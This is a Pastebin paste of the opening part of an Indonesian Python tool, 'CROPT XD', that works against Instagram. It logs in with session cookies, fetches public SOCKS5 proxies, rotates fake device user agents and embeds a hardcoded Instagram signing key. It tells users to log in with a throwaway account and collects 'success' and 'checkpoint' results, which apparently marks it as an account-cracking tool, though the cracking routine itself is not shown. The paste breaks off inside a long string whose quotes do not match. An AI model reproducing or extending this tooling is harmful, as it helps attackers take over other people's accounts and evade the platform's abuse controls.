OBF-XIn

140.213.35.73-/sdcard/grminst.py.py

Mar 20th, 2023
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 65.10 KB | None | 0 0
  1. # coding:utf-8
  2. #/usr/bin/python
  3. try:
  4.     import json
  5.     import uuid
  6.     import hmac
  7.     import rich
  8.     import random
  9.     import hashlib
  10.     import urllib
  11.     import urllib.request
  12.     import calendar
  13. except ImportError as e:
  14.     exit(f'[!] {e} belum terinstall')
  15. import requests,bs4,json,os,sys,random,datetime,time,re
  16. try:
  17.         import rich
  18. except ImportError as e:
  19.         print (f" {M}• {P}sedang install bahan {H}{e.name}, {P}mohon tunggu...")
  20.         os.system(f"python -m pip install {e.name} &> /dev/null")
  21.         os.system(f"python -m pip install requests &> /dev/null")
  22.  
  23. from rich import print as prints
  24. from rich.console import Console
  25. from rich.columns import Columns
  26. from rich.panel import Panel
  27. from rich.tree import Tree
  28. from rich.table import Table as me
  29. from rich.console import Console as sol
  30. from bs4 import BeautifulSoup as sop
  31. from concurrent.futures import ThreadPoolExecutor as tred
  32. from rich.console import Group as gp
  33. from rich.panel import Panel as nel
  34. from rich import print as cetak
  35. from rich.markdown import Markdown as mark
  36. from rich.columns import Columns as col
  37. from time import sleep
  38. from concurrent.futures import ThreadPoolExecutor
  39. from datetime import datetime
  40. from bs4 import BeautifulSoup as parser
  41. import time
  42. from rich.progress import track
  43. from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn,TimeElapsedColumn
  44. from rich.tree import Tree
  45. from rich import print as prints
  46. from rich.console import Console as sol
  47. from rich.panel import Panel as nel
  48. from rich import print as cetak
  49. console = Console()
  50. from time import sleep as jeda
  51. from rich import print as tulis
  52. from rich.panel import Panel
  53. #+++++# mengambil ip address #+++++#
  54. url = requests.get("http://ip-api.com/json/").json()
  55. try:
  56.     IP  = url["query"]
  57.     CN = url["country"]
  58.     RN = url["regionName"]
  59.     AS = url["as"]
  60. except KeyError:
  61.     IP = "-"
  62.     CN = "-"
  63.     RN = "-"
  64.     AS = "-"
  65. #--- WARNA RICH
  66. Te = '[b]' # tebal
  67. P = '[#FFFFFF]' # putih
  68. U = '[#AF00FF]' # ungu
  69. O = '[#00FFFF]' # biru muda
  70. M = '[#FF0022]' # merah
  71. Pi = '[#FF0099]' # pink
  72. H = '[#00FF33]' # hijau
  73. K = '[#FFFF00]' # kuning
  74. P = '\x1b[1;97m' # PUTIH
  75. M = '\x1b[1;91m' # MERAH
  76. H = '\x1b[1;92m' # HIJAU
  77. K = '\x1b[1;93m' # KUNING
  78. B = '\x1b[1;94m' # BIRU
  79. U = '\x1b[1;95m' # UNGU
  80. O = '\x1b[1;96m' # BIRU MUDA
  81. N = '\x1b[0m'    # WARNA MATI
  82. #--- WARNA ANSII (PYTHON)
  83. me = '\x1b[1;91m' # merah
  84. hi = '\x1b[1;92m' # hijau
  85. ku = '\x1b[1;93m' # kuning
  86. bi = '\x1b[1;94m' # biru
  87. un = '\x1b[1;95m' # ungu
  88. br = '\x1b[1;96m' # biru muda
  89. pu = '\x1b[1;97m' # putih
  90. ora = '\033[38;2;255;127;0;1m' # orange
  91. n = '\x1b[0m' # clear
  92. til = '•'
  93. ansixx = random.choice([me, hi, ku, bi, un, br, pu, ora])
  94.  
  95. day=datetime.now().strftime("%d-%b-%Y")
  96. nyMnD = 5
  97. nyMxD = 10
  98. current_GMT = time.gmtime(time.time())
  99.  
  100. try:
  101.     color_table = open("data/color_table.txt","r").read()
  102. except FileNotFoundError:
  103.     color_table = "#FFFFFF"
  104.    
  105. insta_log='https://www.instagram.com/accounts/login/?force_classic_login=&'
  106. url='https://www.instagram.com'
  107.  
  108. merah  = '[#FF0022]'
  109. hijau  = '[#00FF33]'
  110. hapus  = '[/]'
  111. bc = '[bold cyan]'
  112. kuning = '[#FFFF00]'
  113. kn = '[bold yellow]'
  114. hapus  = '[/]'
  115. biru_m = '[bold cyan]'
  116.  
  117. bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  118.  
  119. color_table = "#FFFFFF"
  120. color_rich = "[#00C8FF]"
  121. sys.stdout.write('\x1b]2; CROPT XD\x07')
  122.  
  123. try:os.mkdir('data')
  124. except:pass
  125. try:os.mkdir('result')
  126. except:pass
  127.  
  128. CY='\033[96;1m'
  129. P = '\x1b[1;97m' # PUTIH
  130. M = '\x1b[1;91m' # MERAH
  131. H = '\x1b[1;92m' # HIJAU
  132. K = '\x1b[1;93m' # KUNING
  133. B = '\x1b[1;94m' # BIRU
  134. U = '\x1b[1;95m' # UNGU
  135. O = '\x1b[1;96m' # BIRU MUDA
  136. N = '\x1b[0m'    # WARNA MATI
  137.  
  138. Z2 = "[#000000]" # HITAM
  139. M2 = "[#FF0000]" # MERAH
  140. H2 = "[#00FF00]" # HIJAU
  141. K2 = "[#FFFF00]" # KUNING
  142. B2 = "[#00C8FF]" # BIRU
  143. U2 = "[#AF00FF]" # UNGU
  144. N2 = "[#FF00FF]" # PINK
  145. O2 = "[#00FFFF]" # BIRU MUDA
  146. P2 = "[#FFFFFF]" # PUTIH
  147. J2 = "[#FF8F00]" # JINGGA
  148. A2 = "[#AAAAAA]" # ABU-ABU
  149. M3 = "[#d700d7]" # Magenta
  150. bc = '[bold cyan]'
  151. R2 = random.choice([M3, J2, H2, K2, O2, N2, M2, B2])
  152.  
  153. a = "[#8700af]"
  154. b = "[#87875f]"
  155. c = "[#8787af]"
  156. d = "[#87afff]"
  157. e = "[#87ff00]"
  158. R3 = random.choice([a, b, c, d, e])
  159.  
  160. insta =[]
  161. internal,external,success,checkpoint,loop,following,lisensikuni,lisensiku=[],[],[],[],0,[],[],[]
  162. HARIS, HARIS1, method, ugen, ugen3, ugen2, baru, zx, prox, menudump, uazpepek = {}, {}, [], [], [], [], [], [], [], [], []
  163. oppo=[]
  164. s=requests.Session()
  165. try:
  166.     with requests.Session() as ses:
  167.         _url = ses.get("https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt").text
  168.         for xc in _url.splitlines():
  169.             prox.append(xc)
  170. except requests.exceptions.ConnectionError:
  171.     print(f"{P}[{M}!{P}] koneksi internet anda bermasalah")
  172.     time.sleep(0.3)
  173.     exit()
  174.  
  175. try:
  176.     # python 2
  177.     urllib_quote_plus = urllib.quote
  178. except:
  179.     # python 3
  180.     urllib_quote_plus = urllib.parse.quote_plus
  181.    
  182.     #--- WAKTU
  183.     def waktu():
  184.         jam = datetime.now().strftime("%X") # jam
  185.         now = datetime.now()
  186.         hours = now.hour
  187.         if 00 <= hours < 11:sapa = "Selamat pagi"
  188.         elif 11 <= hours < 15:sapa = "Selamat siang"
  189.         elif 15 <= hours < 18:sapa = "Selamat sore"
  190.         elif 18 <= hours < 23:sapa = "Selamat malam"
  191.         else:sapa = "Selamat datang"
  192.         return sapa
  193.        
  194. #--- LOGO (LO GOBLOK)
  195. def banner():
  196.     os.system('clear')
  197.     prints(Panel(f"""
  198.    
  199.    {K2} ██╗ ██████╗ ███╗   ██╗ ██████╗ ██╗    ██╗{P2}
  200.    {K2} ██║██╔════╝ ████╗  ██║██╔═══██╗██║    ██║{P2}
  201.     {K2}██║██║  ███╗██╔██╗ ██║██║   ██║██║ █╗ ██║{P2}
  202.     ██║██║   ██║██║╚██╗██║██║   ██║██║███╗██║
  203.     ██║╚██████╔╝██║ ╚████║╚██████╔╝╚███╔███╔╝
  204.     ╚═╝ ╚═════╝ ╚═╝  ╚═══╝ ╚═════╝  ╚══╝╚══╝                                        
  205. """,title=f"{P2}{waktu()}",subtitle=f"{P2}Author GaramXD",width=60,padding=(0,4),style=f"green"))
  206.    
  207. #--- USER AGENT
  208. USN = "Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Mobile/15B150 Instagram 32.0.0.14.97 (iPhone10,6; iOS 11_1_1; ru_UA; ru-UA; scale=3.00; gamut=wide; 1125x2436)"
  209.  
  210. def User_Agent():
  211.     dpi_phone = ['133','320','515','160','640','240','120''800','480','225','768','216','1024']
  212.     model_phone = ['Nokia 2.4','HUAWEI','Galaxy','Unlocked Smartphones','Nexus 6P','Mobile Phones','Xiaomi','samsung','OnePlus']
  213.     pxl_phone = ['623x1280','700x1245','800x1280','1080x2340','1320x2400','1242x2688']
  214.     i_version = ['114.0.0.20.2','114.0.0.38.120','114.0.0.20.70','114.0.0.28.120','114.0.0.0.24','114.0.0.0.41']
  215.     User_Agent = f'Instagram '+random.choice(i_version)+' Android (30/3.0; '+random.choice(dpi_phone)+'dpi; '+random.choice(pxl_phone)+'; huawei/google; '+random.choice(model_phone)+'; angler; angler; en_US)'
  216.     return User_Agent
  217.  
  218. def user_agent():
  219.     resolutions = ['720x1280', '320x480', '480x800', '1024x768', '1280x720', '768x1024', '480x320']
  220.     versions = ['GT-N7000', 'SM-N9000', 'GT-I9220', 'GT-I9100']
  221.     dpis = ['120', '160', '320', '240']
  222.     ver = random.choice(versions)
  223.     dpi = random.choice(dpis)
  224.     res = random.choice(resolutions)
  225.     return ('Instagram 4.{}.{} ''Android ({}/{}.{}.{}; {}; {}; samsung; {}; {}; smdkc210; en_US)').format(random.randint(1, 2),random.randint(0, 2),random.randint(10, 11),random.randint(1, 3),random.randint(3, 5),random.randint(0, 5),dpi,res,ver,ver,)
  226.  
  227. def user_agentAPI():
  228.     APP_VERSION = "136.0.0.34.124"
  229.     VERSION_CODE = "208061712"
  230.     DEVICES = {
  231.         "one_plus_7": {"app_version": APP_VERSION,"android_version": "29","android_release": "10.0","dpi": "420dpi","resolution": "1080x2340","manufacturer": "OnePlus","device": "GM1903","model": "OnePlus7","cpu": "qcom","version_code": VERSION_CODE},
  232.         "one_plus_3": {"app_version": APP_VERSION,"android_version": "28","android_release": "9.0","dpi": "420dpi","resolution": "1080x1920","manufacturer": "OnePlus","device": "ONEPLUS A3003","model": "OnePlus3","cpu": "qcom","version_code": VERSION_CODE},
  233.         "samsung_galaxy_s7": {"app_version": APP_VERSION,"android_version": "26","android_release": "8.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G930F","model": "herolte","cpu": "samsungexynos8890","version_code": VERSION_CODE},
  234.         "huawei_mate_9_pro": {"app_version": APP_VERSION,"android_version": "24","android_release": "7.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "HUAWEI","device": "LON-L29","model": "HWLON","cpu": "hi3660","version_code": VERSION_CODE},
  235.         "samsung_galaxy_s9_plus": {"app_version": APP_VERSION,"android_version": "28","android_release": "9.0","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G965F","model": "star2qltecs","cpu": "samsungexynos9810","version_code": VERSION_CODE},
  236.         "one_plus_3t": {"app_version": APP_VERSION,"android_version": "26","android_release": "8.0","dpi": "380dpi","resolution": "1080x1920","manufacturer": "OnePlus","device": "ONEPLUS A3010","model": "OnePlus3T","cpu": "qcom","version_code": VERSION_CODE},
  237.         "lg_g5": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2392","manufacturer": "LGE/lge","device": "RS988","model": "h1","cpu": "h1","version_code": VERSION_CODE},
  238.         "zte_axon_7": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2560","manufacturer": "ZTE","device": "ZTE A2017U","model": "ailsa_ii","cpu": "qcom","version_code": VERSION_CODE},
  239.         "samsung_galaxy_s7_edge": {"app_version": APP_VERSION,"android_version": "23","android_release": "6.0.1","dpi": "640dpi","resolution": "1440x2560","manufacturer": "samsung","device": "SM-G935","model": "hero2lte","cpu": "samsungexynos8890","version_code": VERSION_CODE},}
  240.     DEFAULT_DEVICE = random.choice(list(DEVICES.keys()))
  241.     app_version = DEVICES[DEFAULT_DEVICE]['app_version']
  242.     android_version = DEVICES[DEFAULT_DEVICE]['android_version']
  243.     android_release = DEVICES[DEFAULT_DEVICE]['android_release']
  244.     dpi = DEVICES[DEFAULT_DEVICE]['dpi']
  245.     resolution = DEVICES[DEFAULT_DEVICE]['resolution']
  246.     manufacturer = DEVICES[DEFAULT_DEVICE]['manufacturer']
  247.     device = DEVICES[DEFAULT_DEVICE]['device']
  248.     model = DEVICES[DEFAULT_DEVICE]['model']
  249.     cpu = DEVICES[DEFAULT_DEVICE]['cpu']
  250.     version_code = DEVICES[DEFAULT_DEVICE]['version_code']
  251.     USER_AGENT_BASE = f"Instagram {app_version} "+f"Android ({android_version}/{android_release}; "+f"{dpi}; {resolution}; {manufacturer}; "+f"{device}; {model}; {cpu}; en_US; {version_code})"
  252.     return USER_AGENT_BASE
  253.  
  254.  
  255. #--- JALAN
  256. def jalan(keliling):
  257.     for mau in keliling + '\n':
  258.         sys.stdout.write(mau)
  259.         sys.stdout.flush();jeda(0.03)
  260.        
  261. #--- MENGECEK _xyecaaa
  262. class __cek__:
  263.    
  264.     def __init__(self):
  265.         self.hapus = "rm -rf data/user_insta.txt && rm -rf data/cookie_insta.txt"
  266.         self.roomz = requests.Session()
  267.    
  268.     def cekCOK(self):
  269.         try:
  270.             kuki = open('data/cookie_insta.txt','r').read()
  271.             user = open('data/user_insta.txt','r').read()
  272.         except FileNotFoundError:
  273.             os.system(self.hapus)
  274.             self.masuk()
  275.         except Exception as i:
  276.             os.system(self.hapus)
  277.             exit ("%s╰─%s %s "%(pe,me,i));jeda(2)
  278.            
  279.         ex,user = self.cekAPI(kuki)
  280.         cookie = {'cookie':kuki}
  281.         instagram(ex,user,cookie).menu()
  282.    
  283.     def cekAPI(self,cookie):
  284.         user = open('data/user_insta.txt','r').read()
  285.         kukis = {'cookie':cookie}
  286.         try:
  287.             req = self.roomz.get("https://i.instagram.com/api/v1/users/web_profile_info/?username=%s"%(user),cookies=kukis,headers={"user-agent":USN,"x-ig-app-id":'936619743392459'})
  288.             dat = req.json()["data"]["user"]
  289.             nama = dat["full_name"]
  290.             followers = dat["edge_followed_by"]["count"]
  291.             following = dat["edge_follow"]["count"]
  292.             external.append(f'{nama}|{followers}|{following}')
  293.         except FileNotFoundError:
  294.             os.system (self.hapus)
  295.             print ("[{H}• {P}] anda belum login ");jeda(2)
  296.             self.masuk()
  297.         except (KeyError,ValueError):
  298.             os.system (self.hapus)
  299.             exit (f"[{H}• {P}] cookie kedaluwarsa ");jeda(2)
  300.         except (AttributeError,UnboundLocalError):
  301.             os.system (self.hapus)
  302.             exit (f"[{H}• {P}] terjadi kesalahan ");jeda(2)
  303.         return external,user
  304.        
  305.     def masuk(self):
  306.         global external
  307.         banner()
  308.         prints(Panel(f"""{P2}[{H2}01{P2}] Login {H2}menggunakan cookies{P2}\n[{H2}02{P2}] Login {H2}menggunakan akun{P2}\n[{H2}03{P2}] Cara mendapatkan {H2}cookies{P2}\n[{H2}00{P2}] Keluar""",title=f"{P2}LOGIN DENGAN CARA APA",width=40,padding=(0,4),style=f"green"))
  309.         rom = input(f'[{H}• {P}] Pilih : {P}')
  310.         if rom in['']:
  311.             exit (f'[{H}• {P}] isi yang benar');jeda(2)
  312.        
  313.         elif rom in["1","01"]:
  314.             prints(Panel(f"{P2}Wajib gunakan akun tumbal dilarang akun utama",width=50,padding=(0,4),style=f"green"))
  315.             kukis = input(f"[{H}• {P}] Cookies : {H}")
  316.             if kukis in['']:
  317.                 exit (f'{P}[{H}• {P}] isi yang benar');jeda(2)
  318.             else:
  319.                 try:
  320.                     id = re.search('ds_user_id=(\d+)',str(kukis)).group(1)
  321.                     po = self.roomz.get(f"https://i.instagram.com/api/v1/users/{id}/info/",headers={"user-agent":USN},cookies={"cookie":kukis})
  322.                     xx = json.loads(po.text)['user']
  323.                     useri = xx["username"]
  324.                     user = open('data/user_insta.txt','w').write(useri)
  325.                     kuki = open('data/cookie_insta.txt','w').write(kukis)
  326.                     #self.cekCOK()
  327.                     prints(Panel(f'{P2} login berhasil, jalankan ulang tool nya ketik {M2}:{P2} - {H2}python cropt.py',width=70,padding=(0,4),style=f"green"));exit()
  328.                 except (json.decoder.JSONDecodeError, KeyError, AttributeError):
  329.                     os.system (self.hapus)
  330.                     exit (f"{P}[{H}• {P}] cookie invalid ");jeda(2)
  331.                 except requests.exceptions.ConnectionError as konek:
  332.                     exit (f"{P}[{H}• {P}] gagal memuat tidak ada koneksi : {konek}");jeda(2)
  333.            
  334.         elif rom in["2","02"]:
  335.             prints(Panel(f"{P2} Wajib gunakan akun tumbal dilarang akun utama",width=50,padding=(0,4),style=f"green"));exit()
  336.             username = input(f"[{H}• {P}] Username : {H}")
  337.             password = input(f"[{H}• {P}] Password : {H}")
  338.             if (username,password) in['']:
  339.                 exit (f"[{H}• {P}] jangan kosong");jeda(2)
  340.             else:
  341.                 x=instagramAPI(username,password).loginAPI()
  342.                 if x.get('status')=='success':
  343.                     username = open('data/user_insta.txt','w').write(username)
  344.                     kuki = open('data/cookie_insta.txt','w').write(x.get('cookie'))
  345.                     cookie={'cookie':x.get('cookie')}
  346.                     #self.cekCOK()
  347.                     print('')
  348.                     print(f'[{H}• {P}] login berhasil, jalankan ulang tool nya ketik{M}:\n{P} - {H}python cropt.py');exit()
  349.                 elif x.get('status')=='checkpoint':
  350.                     exit (f"[{H}• {P}] akun checkpoint");jeda(2)
  351.                 else:
  352.                     exit (f"[{H}• {P}] login gagal, silahkan coba lagi");jeda(2)
  353.                    
  354.         elif rom in['3','03']:
  355.             print(f"[{H}• {P}] buka dengan youtube ")
  356.             print (f"[{H}• {P}] Link Cookiedough {m}:{o} hhttps://chrome.google.com/webstore/detail/cookiedough/hacigcgfiefikmkmmmncaiaijoffndpl");jeda(3)
  357.             os.system(" xdg-open https://youtu.be/VrGZdY5L19k");exit()
  358.        
  359.         elif rom in['0','00']:
  360.             jalan(f'[{H}• {P}] Sampai jumpa tod :) ');exit()
  361.            
  362.         else:
  363.             exit (f'[{H}• {P}] isi yang benar');jeda(2)
  364.  
  365. #--- MENGECEK LOGIN AKUN
  366. class instagramAPI:
  367.     API_URL = 'https://i.instagram.com/api/v1/'
  368.     DEVICE_SETTINTS = {'manufacturer': 'Xiaomi','model': 'HM 1SW','android_version': 18,'android_release': '4.3'}
  369.     USER_AGENT = 'Instagram 10.26.0 Android ({android_version}/{android_release}; 320dpi; 720x1280; {manufacturer}; {model}; armani; qcom; en_US)'.format(**DEVICE_SETTINTS)
  370.     IG_SIG_KEY = '4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178'
  371.     EXPERIMENTS = 'ig_promote_reach_objective_fix_universe,ig_android_universe_video_production,ig_search_client_h1_2017_holdout,ig_android_live_follow_from_comments_universe,ig_android_carousel_non_square_creation,ig_android_live_analytics,ig_android_follow_all_dialog_confirmation_copy,ig_android_stories_server_coverframe,ig_android_video_captions_universe,ig_android_offline_location_feed,ig_android_direct_inbox_retry_seen_state,ig_android_ontact_invite_universe,ig_android_live_broadcast_blacklist,ig_android_insta_video_reconnect_viewers,ig_android_ad_async_ads_universe,ig_android_search_clear_layout_universe,ig_android_shopping_reporting,ig_android_stories_surface_universe,ig_android_verified_comments_universe,ig_android_preload_media_ahead_in_current_reel,android_instagram_prefetch_suggestions_universe,ig_android_reel_viewer_fetch_missing_reels_universe,ig_android_direct_search_share_sheet_universe,ig_android_business_promote_tooltip,ig_android_direct_blue_tab,ig_android_async_network_tweak_universe,ig_android_elevate_main_thread_priority_universe,ig_android_stories_gallery_nux,ig_android_instavideo_remove_nux_comments,ig_video_copyright_whitelist,ig_react_native_inline_insights_with_relay,ig_android_direct_thread_message_animation,ig_android_draw_rainbow_client_universe,ig_android_direct_link_style,ig_android_live_heart_enhancements_universe,ig_android_rtc_reshare,ig_android_preload_item_count_in_reel_viewer_buffer,ig_android_users_bootstrap_service,ig_android_auto_retry_post_mode,ig_android_shopping,ig_android_main_feed_seen_state_dont_send_info_on_tail_load,ig_fbns_preload_default,ig_android_gesture_dismiss_reel_viewer,ig_android_tool_tip,ig_android_ad_logger_funnel_logging_universe,ig_android_gallery_grid_column_count_universe,ig_android_business_new_ads_payment_universe,ig_android_direct_links,ig_android_audience_control,ig_android_live_encore_consumption_settings_universe,ig_perf_android_holdout,ig_android_cache_contact_import_list,ig_android_links_receivers,ig_android_ad_impression_backtest,ig_android_list_redesign,ig_android_stories_separate_overlay_creation,ig_android_stop_video_recording_fix_universe,ig_android_render_video_segmentation,ig_android_live_encore_reel_chaining_universe,ig_android_sync_on_background_enhanced_10_25,ig_android_immersive_viewer,ig_android_mqtt_skywalker,ig_fbns_push,ig_android_ad_watchmore_overlay_universe,ig_android_react_native_universe,ig_android_profile_tabs_redesign_universe,ig_android_live_consumption_abr,ig_android_story_viewer_social_context,ig_android_hide_post_in_feed,ig_android_video_loopcount_int,ig_android_enable_main_feed_reel_tray_preloading,ig_android_camera_upsell_dialog,ig_android_ad_watchbrowse_universe,ig_android_internal_research_settings,ig_android_search_people_tag_universe,ig_android_react_native_ota,ig_android_enable_concurrent_request,ig_android_react_native_stories_grid_view,ig_android_business_stories_inline_insights,ig_android_log_mediacodec_info,ig_android_direct_expiring_media_loading_errors,ig_video_use_sve_universe,ig_android_cold_start_feed_request,ig_android_enable_zero_rating,ig_android_reverse_audio,ig_android_branded_content_three_line_ui_universe,ig_android_live_encore_production_universe,ig_stories_music_sticker,ig_android_stories_teach_gallery_location,ig_android_http_stack_experiment_2017,ig_android_stories_device_tilt,ig_android_pending_request_search_bar,ig_android_fb_topsearch_sgp_fork_request,ig_android_seen_state_with_view_info,ig_android_animation_perf_reporter_timeout,ig_android_new_block_flow,ig_android_story_tray_title_play_all_v2,ig_android_direct_address_links,ig_android_stories_archive_universe,ig_android_save_collections_cover_photo,ig_android_live_webrtc_livewith_production,ig_android_sign_video_url,ig_android_stories_video_prefetch_kb,ig_android_stories_create_flow_favorites_tooltip,ig_android_live_stop_broadcast_on_404,ig_android_live_viewer_invite_universe,ig_android_promotion_feedback_channel,ig_android_render_iframe_interval,ig_android_accessibility_logging_universe,ig_android_camera_shortcut_universe,ig_android_use_one_cookie_store_per_user_override,ig_profile_holdout_2017_universe,ig_android_stories_server_brushes,ig_android_ad_media_url_logging_universe,ig_android_shopping_tag_nux_text_universe,ig_android_comments_single_reply_universe,ig_android_stories_video_loading_spinner_improvements,ig_android_collections_cache,ig_android_comment_api_spam_universe,ig_android_facebook_twitter_profile_photos,ig_android_shopping_tag_creation_universe,ig_story_camera_reverse_video_experiment,ig_android_direct_bump_selected_recipients,ig_android_ad_cta_haptic_feedback_universe,ig_android_vertical_share_sheet_experiment,ig_android_family_bridge_share,ig_android_search,ig_android_insta_video_consumption_titles,ig_android_stories_gallery_preview_button,ig_android_fb_auth_education,ig_android_camera_universe,ig_android_me_only_universe,ig_android_instavideo_audio_only_mode,ig_android_user_profile_chaining_icon,ig_android_live_video_reactions_consumption_universe,ig_android_stories_hashtag_text,ig_android_post_live_badge_universe,ig_android_swipe_fragment_container,ig_android_search_users_universe,ig_android_live_save_to_camera_roll_universe,ig_creation_growth_holdout,ig_android_sticker_region_tracking,ig_android_unified_inbox,ig_android_live_new_watch_time,ig_android_offline_main_feed_10_11,ig_import_biz_contact_to_page,ig_android_live_encore_consumption_universe,ig_android_experimental_filters,ig_android_search_client_matching_2,ig_android_react_native_inline_insights_v2,ig_android_business_conversion_value_prop_v2,ig_android_redirect_to_low_latency_universe,ig_android_ad_show_new_awr_universe,ig_family_bridges_holdout_universe,ig_android_background_explore_fetch,ig_android_following_follower_social_context,ig_android_video_keep_screen_on,ig_android_ad_leadgen_relay_modern,ig_android_profile_photo_as_media,ig_android_insta_video_consumption_infra,ig_android_ad_watchlead_universe,ig_android_direct_prefetch_direct_story_json,ig_android_shopping_react_native,ig_android_top_live_profile_pics_universe,ig_android_direct_phone_number_links,ig_android_stories_weblink_creation,ig_android_direct_search_new_thread_universe,ig_android_histogram_reporter,ig_android_direct_on_profile_universe,ig_android_network_cancellation,ig_android_background_reel_fetch,ig_android_react_native_insights,ig_android_insta_video_audio_encoder,ig_android_family_bridge_bookmarks,ig_android_data_usage_network_layer,ig_android_universal_instagram_deep_links,ig_android_dash_for_vod_universe,ig_android_modular_tab_discover_people_redesign,ig_android_mas_sticker_upsell_dialog_universe,ig_android_ad_add_per_event_counter_to_logging_event,ig_android_sticky_header_top_chrome_optimization,ig_android_rtl,ig_android_biz_conversion_page_pre_select,ig_android_promote_from_profile_button,ig_android_live_broadcaster_invite_universe,ig_android_share_spinner,ig_android_text_action,ig_android_own_reel_title_universe,ig_promotions_unit_in_insights_landing_page,ig_android_business_settings_header_univ,ig_android_save_longpress_tooltip,ig_android_constrain_image_size_universe,ig_android_business_new_graphql_endpoint_universe,ig_ranking_following,ig_android_stories_profile_camera_entry_point,ig_android_universe_reel_video_production,ig_android_power_metrics,ig_android_sfplt,ig_android_offline_hashtag_feed,ig_android_live_skin_smooth,ig_android_direct_inbox_search,ig_android_stories_posting_offline_ui,ig_android_sidecar_video_upload_universe,ig_android_promotion_manager_entry_point_universe,ig_android_direct_reply_audience_upgrade,ig_android_swipe_navigation_x_angle_universe,ig_android_offline_mode_holdout,ig_android_live_send_user_location,ig_android_direct_fetch_before_push_notif,ig_android_non_square_first,ig_android_insta_video_drawing,ig_android_swipeablefilters_universe,ig_android_live_notification_control_universe,ig_android_analytics_logger_running_background_universe,ig_android_save_all,ig_android_reel_viewer_data_buffer_size,ig_direct_quality_holdout_universe,ig_android_family_bridge_discover,ig_android_react_native_restart_after_error_universe,ig_android_startup_manager,ig_story_tray_peek_content_universe,ig_android_profile,ig_android_high_res_upload_2,ig_android_http_service_same_thread,ig_android_scroll_to_dismiss_keyboard,ig_android_remove_followers_universe,ig_android_skip_video_render,ig_android_story_timestamps,ig_android_live_viewer_comment_prompt_universe,ig_profile_holdout_universe,ig_android_react_native_insights_grid_view,ig_stories_selfie_sticker,ig_android_stories_reply_composer_redesign,ig_android_streamline_page_creation,ig_explore_netego,ig_android_ig4b_connect_fb_button_universe,ig_android_feed_util_rect_optimization,ig_android_rendering_controls,ig_android_os_version_blocking,ig_android_encoder_width_safe_multiple_16,ig_search_new_bootstrap_holdout_universe,ig_android_snippets_profile_nux,ig_android_e2e_optimization_universe,ig_android_comments_logging_universe,ig_shopping_insights,ig_android_save_collections,ig_android_live_see_fewer_videos_like_this_universe,ig_android_show_new_contact_import_dialog,ig_android_live_view_profile_from_comments_universe,ig_fbns_blocked,ig_formats_and_feedbacks_holdout_universe,ig_android_reduce_view_pager_buffer,ig_android_instavideo_periodic_notif,ig_search_user_auto_complete_cache_sync_ttl,ig_android_marauder_update_frequency,ig_android_suggest_password_reset_on_oneclick_login,ig_android_promotion_entry_from_ads_manager_universe,ig_android_live_special_codec_size_list,ig_android_enable_share_to_messenger,ig_android_background_main_feed_fetch,ig_android_live_video_reactions_creation_universe,ig_android_channels_home,ig_android_sidecar_gallery_universe,ig_android_upload_reliability_universe,ig_migrate_mediav2_universe,ig_android_insta_video_broadcaster_infra_perf,ig_android_business_conversion_social_context,android_ig_fbns_kill_switch,ig_android_live_webrtc_livewith_consumption,ig_android_destroy_swipe_fragment,ig_android_react_native_universe_kill_switch,ig_android_stories_book_universe,ig_android_all_videoplayback_persisting_sound,ig_android_draw_eraser_universe,ig_direct_search_new_bootstrap_holdout_universe,ig_android_cache_layer_bytes_threshold,ig_android_search_hash_tag_and_username_universe,ig_android_business_promotion,ig_android_direct_search_recipients_controller_universe,ig_android_ad_show_full_name_universe,ig_android_anrwatchdog,ig_android_qp_kill_switch,ig_android_2fac,ig_direct_bypass_group_size_limit_universe,ig_android_promote_simplified_flow,ig_android_share_to_whatsapp,ig_android_hide_bottom_nav_bar_on_discover_people,ig_fbns_dump_ids,ig_android_hands_free_before_reverse,ig_android_skywalker_live_event_start_end,ig_android_live_join_comment_ui_change,ig_android_direct_search_story_recipients_universe,ig_android_direct_full_size_gallery_upload,ig_android_ad_browser_gesture_control,ig_channel_server_experiments,ig_android_video_cover_frame_from_original_as_fallback,ig_android_ad_watchinstall_universe,ig_android_ad_viewability_logging_universe,ig_android_new_optic,ig_android_direct_visual_replies,ig_android_stories_search_reel_mentions_universe,ig_android_threaded_comments_universe,ig_android_mark_reel_seen_on_Swipe_forward,ig_internal_ui_for_lazy_loaded_modules_experiment,ig_fbns_shared,ig_android_capture_slowmo_mode,ig_android_live_viewers_list_search_bar,ig_android_video_single_surface,ig_android_offline_reel_feed,ig_android_video_download_logging,ig_android_last_edits,ig_android_exoplayer_4142,ig_android_post_live_viewer_count_privacy_universe,ig_android_activity_feed_click_state,ig_android_snippets_haptic_feedback,ig_android_gl_drawing_marks_after_undo_backing,ig_android_mark_seen_state_on_viewed_impression,ig_android_live_backgrounded_reminder_universe,ig_android_live_hide_viewer_nux_universe,ig_android_live_monotonic_pts,ig_android_search_top_search_surface_universe,ig_android_user_detail_endpoint,ig_android_location_media_count_exp_ig,ig_android_comment_tweaks_universe,ig_android_ad_watchmore_entry_point_universe,ig_android_top_live_notification_universe,ig_android_add_to_last_post,ig_save_insights,ig_android_live_enhanced_end_screen_universe,ig_android_ad_add_counter_to_logging_event,ig_android_blue_token_conversion_universe,ig_android_exoplayer_settings,ig_android_progressive_jpeg,ig_android_offline_story_stickers,ig_android_gqls_typing_indicator,ig_android_chaining_button_tooltip,ig_android_video_prefetch_for_connectivity_type,ig_android_use_exo_cache_for_progressive,ig_android_samsung_app_badging,ig_android_ad_holdout_watchandmore_universe,ig_android_offline_commenting,ig_direct_stories_recipient_picker_button,ig_insights_feedback_channel_universe,ig_android_insta_video_abr_resize,ig_android_insta_video_sound_always_on'''
  372.     SIG_KEY_VERSION = '4'
